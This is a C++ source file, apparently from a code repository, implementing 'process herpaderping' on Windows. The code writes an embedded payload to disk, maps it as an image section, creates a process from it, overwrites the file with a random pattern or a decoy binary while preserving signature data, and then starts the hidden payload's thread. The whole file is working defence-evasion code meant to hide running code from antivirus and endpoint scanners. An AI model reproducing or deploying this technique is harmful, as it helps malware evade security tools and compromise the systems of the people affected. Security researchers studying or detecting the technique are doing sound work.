349 lines
11 KiB
C++
Executable File
349 lines
11 KiB
C++
Executable File
#include "pch.hpp"
|
|
#include "herpaderp.hpp"
|
|
#include "utils.hpp"
|
|
|
|
_Use_decl_annotations_
|
|
HRESULT Herpaderp::ExecuteProcess()
|
|
{
|
|
HRESULT hr;
|
|
|
|
std::wstring TargetFileName;
|
|
hr = Utils::GetFileName(Herpaderp::_TargetFileName, TargetFileName);
|
|
if (FAILED(hr))
|
|
{
|
|
REPORT_AND_RETURN_HR("Failed to retrieve the target filename", hr);
|
|
}
|
|
dprintf("Target File: \"%S\"", TargetFileName.c_str());
|
|
|
|
DWORD sourceSize = sizeof(payload);
|
|
PBYTE ptrPayload = payload;
|
|
if (payload && sourceSize > 0)
|
|
{
|
|
dprintf("Payload size: %d (%p)", sourceSize, ptrPayload);
|
|
}
|
|
|
|
// To create target file with exclusive access, set shareMode to 0
|
|
DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
|
|
FileHandle targetHandle(TargetFileName, TRUE);
|
|
targetHandle.get() = CreateFileW(TargetFileName.c_str(),
|
|
GENERIC_READ | GENERIC_WRITE,
|
|
shareMode,
|
|
nullptr,
|
|
CREATE_ALWAYS,
|
|
FILE_ATTRIBUTE_NORMAL,
|
|
nullptr);
|
|
if (!targetHandle.valid())
|
|
{
|
|
REPORT_AND_RETURN_WIN32("Failed to create target file", GetLastError());
|
|
}
|
|
|
|
DWORD bytesWitten = 0;
|
|
BOOL boolRet = WriteFile(
|
|
targetHandle.get(),
|
|
ptrPayload,
|
|
sourceSize,
|
|
&bytesWitten,
|
|
nullptr
|
|
);
|
|
if (!boolRet)
|
|
{
|
|
REPORT_AND_RETURN_WIN32("Failed to copy source binary to target file", GetLastError());
|
|
}
|
|
|
|
boolRet = SetEndOfFile(targetHandle.get());
|
|
if (!boolRet)
|
|
{
|
|
REPORT_AND_RETURN_WIN32("Failed to set EOF on target file", GetLastError());
|
|
}
|
|
|
|
dprintf("Copied source binary to target file");
|
|
|
|
//
|
|
// Map and create the target process. We'll make it all derpy in a moment...
|
|
//
|
|
AutoCloseHandle sectionHandle(TRUE);
|
|
auto status = NtCreateSection(§ionHandle.get(),
|
|
SECTION_ALL_ACCESS,
|
|
nullptr,
|
|
nullptr,
|
|
PAGE_READONLY,
|
|
SEC_IMAGE,
|
|
targetHandle.get());
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
REPORT_AND_RETURN_NT("Failed to create target file image section", status);
|
|
}
|
|
|
|
dprintf("Created image section for target");
|
|
|
|
ProcessHandle processHandle;
|
|
status = NtCreateProcessEx(&processHandle.get(),
|
|
PROCESS_ALL_ACCESS,
|
|
nullptr,
|
|
NtCurrentProcess(),
|
|
PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
|
|
sectionHandle.get(),
|
|
nullptr,
|
|
nullptr,
|
|
0);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
REPORT_AND_RETURN_NT("Failed to create process", status);
|
|
}
|
|
|
|
dprintf("Created process object, PID %lu", GetProcessId(processHandle.get()));
|
|
|
|
//
|
|
// Alright we have the process set up, we don't need the section.
|
|
//
|
|
sectionHandle.close();
|
|
|
|
//
|
|
// Go get the remote entry RVA to create a thread later on.
|
|
//
|
|
uint32_t imageEntryPointRva;
|
|
hr = Utils::GetImageEntryPointRva(targetHandle.get(), imageEntryPointRva);
|
|
if (FAILED(hr))
|
|
{
|
|
REPORT_AND_RETURN_HR("Failed to get target file image entry RVA", hr);
|
|
}
|
|
|
|
dprintf("Located target image entry RVA 0x%08x", imageEntryPointRva);
|
|
|
|
PROCESS_BASIC_INFORMATION pbi{};
|
|
status = NtQueryInformationProcess(processHandle.get(),
|
|
ProcessBasicInformation,
|
|
&pbi,
|
|
sizeof(pbi),
|
|
nullptr);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
REPORT_AND_RETURN_NT("Failed to query new process info", status);
|
|
}
|
|
|
|
PEB peb{};
|
|
if (!ReadProcessMemory(processHandle.get(),
|
|
pbi.PebBaseAddress,
|
|
&peb,
|
|
sizeof(peb),
|
|
nullptr))
|
|
{
|
|
REPORT_AND_RETURN_WIN32("Failed to read remote process PEB", GetLastError());
|
|
}
|
|
void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);
|
|
|
|
//
|
|
// Herpaderp wants a pattern to use for obfuscation, set that up here.
|
|
//
|
|
std::span<const uint8_t> pattern;
|
|
std::vector<uint8_t> patternBuffer;
|
|
//
|
|
// Setup a random pattern
|
|
//
|
|
patternBuffer.resize(Herpaderp::RandPatternLen);
|
|
hr = BCryptGenRandom(nullptr,
|
|
patternBuffer.data(),
|
|
SCAST(ULONG)(patternBuffer.size()),
|
|
BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
|
if (FAILED(hr))
|
|
{
|
|
REPORT_AND_RETURN_HR("Failed to generate random buffer", hr);
|
|
}
|
|
pattern = std::span<const uint8_t>(patternBuffer);
|
|
|
|
//
|
|
// Alright, if a file name has been provided in _ReplaceWithFileName,
|
|
// we will overwrite the target binary with it. Otherwise, we will
|
|
// overwrite the target binary with a pattern.
|
|
//
|
|
if (Utils::ShouldReplaceWithFile(Herpaderp::_ReplaceWithFileName))
|
|
{
|
|
std::wstring ReplaceWithFileName;
|
|
hr = Utils::GetFileName(Herpaderp::_ReplaceWithFileName, ReplaceWithFileName);
|
|
if (FAILED(hr))
|
|
{
|
|
REPORT_AND_RETURN_HR("Failed to retrieve the file name to replace with", hr);
|
|
}
|
|
dprintf("Replacing target with \"%S\"", ReplaceWithFileName.c_str());
|
|
|
|
FileHandle replaceWithHandle(ReplaceWithFileName);
|
|
replaceWithHandle.get() = CreateFileW(ReplaceWithFileName.c_str(),
|
|
GENERIC_READ,
|
|
FILE_SHARE_READ |
|
|
FILE_SHARE_WRITE |
|
|
FILE_SHARE_DELETE,
|
|
nullptr,
|
|
OPEN_EXISTING,
|
|
FILE_ATTRIBUTE_NORMAL,
|
|
nullptr);
|
|
|
|
if (!replaceWithHandle.valid())
|
|
{
|
|
REPORT_AND_RETURN_WIN32("Failed to open replace with file", GetLastError());
|
|
}
|
|
|
|
//
|
|
// Replace the bytes. We handle a failure here. We'll fix it up after.
|
|
//
|
|
hr = Utils::CopyFileByHandle(replaceWithHandle.get(), targetHandle.get());
|
|
if (FAILED(hr))
|
|
{
|
|
if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))
|
|
{
|
|
REPORT_AND_RETURN_HR("Failed to replace target file", hr);
|
|
}
|
|
|
|
//
|
|
// This error occurs when trying to truncate a file that has a
|
|
// user mapping open. In other words, the file we tried to replace
|
|
// with was smaller than the original.
|
|
// Let's fix up the replacement to hide the original bytes and
|
|
// retain any signer info.
|
|
//
|
|
dprintf("Fixing up target replacement, hiding original bytes and retaining any signature");
|
|
|
|
uint64_t replaceWithSize;
|
|
hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);
|
|
if (FAILED(hr))
|
|
{
|
|
REPORT_AND_RETURN_HR("Failed to get replace with file size", hr);
|
|
}
|
|
|
|
uint32_t bytesWritten = 0;
|
|
hr = Utils::OverwriteFileAfterWithPattern(targetHandle.get(),
|
|
replaceWithSize,
|
|
pattern,
|
|
bytesWritten);
|
|
if (FAILED(hr))
|
|
{
|
|
dprintf("Failed to hide original file bytes, %S", Utils::FormatError(hr).c_str());
|
|
}
|
|
else
|
|
{
|
|
hr = Utils::ExtendFileSecurityDirectory(targetHandle.get(), bytesWritten);
|
|
if (FAILED(hr))
|
|
{
|
|
dprintf("Failed to retain file signature, %S", Utils::FormatError(hr).c_str());
|
|
}
|
|
}
|
|
}
|
|
|
|
replaceWithHandle.close();
|
|
}
|
|
else
|
|
{
|
|
dprintf("Overwriting target with pattern");
|
|
|
|
hr = Utils::OverwriteFileContentsWithPattern(targetHandle.get(), pattern);
|
|
if (FAILED(hr))
|
|
{
|
|
REPORT_AND_RETURN_HR("Failed to write pattern over file", hr);
|
|
}
|
|
}
|
|
|
|
//
|
|
// Alright, at this point the process is going to be derpy enough.
|
|
// Do the work necessary to make it execute.
|
|
//
|
|
dprintf("Preparing target for execution");
|
|
dprintf("Writing process parameters, remote PEB ProcessParameters 0x%p",
|
|
Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)));
|
|
|
|
hr = Utils::WriteRemoteProcessParameters(
|
|
processHandle.get(),
|
|
TargetFileName,
|
|
std::nullopt,
|
|
std::nullopt,
|
|
(L"\"" + TargetFileName + L"\""),
|
|
NtCurrentPeb()->ProcessParameters->Environment,
|
|
TargetFileName,
|
|
L"WinSta0\\Default",
|
|
std::nullopt,
|
|
std::nullopt);
|
|
if (FAILED(hr))
|
|
{
|
|
REPORT_AND_RETURN_HR("Failed to write remote process parameters", hr);
|
|
}
|
|
|
|
//
|
|
// Create the initial thread, when this first thread is inserted the
|
|
// process create callback will fire in the kernel.
|
|
//
|
|
|
|
dprintf("Creating thread in process at entry point 0x%p", remoteEntryPoint);
|
|
|
|
AutoCloseHandle threadHandle;
|
|
status = NtCreateThreadEx(&threadHandle.get(),
|
|
THREAD_ALL_ACCESS,
|
|
nullptr,
|
|
processHandle.get(),
|
|
remoteEntryPoint,
|
|
nullptr,
|
|
0,
|
|
0,
|
|
0,
|
|
0,
|
|
nullptr);
|
|
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
REPORT_AND_RETURN_NT("Failed to create remote thread, %S", status);
|
|
}
|
|
|
|
dprintf("Created thread, TID %lu", GetThreadId(threadHandle.get()));
|
|
|
|
//
|
|
// We're done with the target file handle. At this point the process
|
|
// create callback will have fired in the kernel.
|
|
//
|
|
targetHandle.close();
|
|
|
|
//
|
|
// Wait for the process to exit.
|
|
//
|
|
dprintf("Waiting for herpaderped process to exit");
|
|
|
|
WaitForSingleObject(processHandle.get(), INFINITE);
|
|
|
|
processHandle.terminate() = FALSE;
|
|
|
|
DWORD targetExitCode = 0;
|
|
GetExitCodeProcess(processHandle.get(), &targetExitCode);
|
|
|
|
dprintf("Herpaderped process exited with code 0x%08x", targetExitCode);
|
|
|
|
return S_OK;
|
|
}
|
|
|
|
int WINAPI wWinMain(_In_ HINSTANCE, _In_opt_ HINSTANCE, _In_ PWSTR, _In_ int)
|
|
{
|
|
HRESULT hr;
|
|
|
|
#ifndef _WIN64
|
|
//
|
|
// Only 32-bit version of Windows 10 is affected
|
|
// see https://bugs.chromium.org/p/project-zero/issues/detail?id=852
|
|
//
|
|
hr = Utils::IsBuggyKernel();
|
|
if (FAILED(hr))
|
|
{
|
|
REPORT_AND_RETURN_HR("Checking kernel failed", hr);
|
|
}
|
|
if (hr == S_OK)
|
|
{
|
|
hr = E_ABORT;
|
|
REPORT_AND_RETURN_HR("Kernel version on this OS is buggy and will BSOD... aborting", hr);
|
|
}
|
|
dprintf("Kernel is not one of the buggy one");
|
|
#endif
|
|
|
|
hr = Herpaderp::ExecuteProcess();
|
|
if (FAILED(hr))
|
|
{
|
|
REPORT_AND_RETURN_HR("Process Herpaderp failed", hr);
|
|
}
|
|
|
|
dprintf("Process Herpaderp succeeded");
|
|
return EXIT_SUCCESS;
|
|
}
|